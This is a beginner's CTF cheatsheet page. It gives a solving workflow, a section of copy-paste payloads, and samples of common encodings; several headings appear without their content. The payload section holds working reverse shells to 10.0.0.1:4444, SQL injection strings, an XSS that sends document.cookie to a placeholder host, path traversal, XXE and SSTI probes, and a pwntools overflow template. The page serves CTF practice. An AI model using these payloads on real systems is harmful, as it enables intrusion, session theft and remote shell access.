CTF Cheatsheet

New to CTFs? Start Here

The universal workflow — repeat for every challenge

1. Read the prompt. Note the category, any hint, and the flag format. Download every attached file before you start.
2. Recon & identify. Work out what you're looking at — a file type, an encoding, a running service, or a web technology — before reaching for a tool.
3. Research the technique. Search the challenge keywords plus CTF writeup. Someone has almost certainly solved something similar.
4. Pick the right tool. Jump to the matching category below and grab the tool built for that job.
5. Solve & extract the flag. Apply the decode/attack. The flag is usually text like whatdahack{...}.
6. Submit & take notes. Paste the flag to score, then jot down what worked so you recognise the pattern next time.

Challenge Triage — What Did You Get?

Match what the challenge handed you on the left, do what's on the right. This is the fastest way to stop staring and start solving.

First Moves on Any File

Downloaded a mystery file and don't know where to start? Run these first — one of them often reveals the flag outright. Replace mystery with your filename.

How to Approach Each Category

Not sure where to begin for a given challenge type? Follow the first few steps for its category, then grab the matching tools further down the page.

Essential Commands

A handful of commands you'll reach for constantly. Copy, tweak the placeholders, and go.

Copy-Paste Payloads

Battle-tested starting points. Fill in your details below and every payload updates in place — then hover a block and hit Copy. Use only on systems you're allowed to test.

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z, then locally:
stty raw -echo; fg
# then:
export TERM=xterm

' OR '1'='1'-- -
admin'-- -
" OR 1=1-- -

<img src=x onerror=alert(document.domain)>
<script>fetch('//YOUR-HOST/'+document.cookie)</script>

../../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php

{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>

from pwn import *
elf = context.binary = ELF('./chall')
# io = process(elf.path)
io = remote('host', 1337)
payload = flat({ 40: p64(elf.sym.win) })
io.sendline(payload)
io.interactive()

checksec --file=./chall
ROPgadget --binary ./chall | grep ': pop rdi'
one_gadget ./libc.so.6

Identify the Encoding / Cipher

Got a blob of unknown data? Match its shape against the patterns below, then decode it with CyberChef or dCode.

dGhpc2lzYmFzZTY0Y2lwaGVyCg==

ORUGS43JONRGC43FGMZGG2LQNBSXE===

<+oueBld\lF(I
      

746869732069732068657821

E9:D:DC@Ecf4:A96C

elmltwzbrrikpgmisivptxldpcpxpx   key: leet

3-20-6 = CTF

.... .. ... .. ... -- --- .-. ... . -.-. --- -.. .

.... .... .. ... .. .... .... ...

BAABAAABBBABAAABAAABABAAAB

GAGTTGAAAATATTGCGGCCGCTGGTAATGAT

01100011 01110100 01100110

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...

('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
      

Ook. Ook? Ook. Ook. Ook! Ook.

Glossary — Words You'll Hear

New terms come thick and fast in CTFs. Here are the ones worth knowing on day one.

Frequently Asked Questions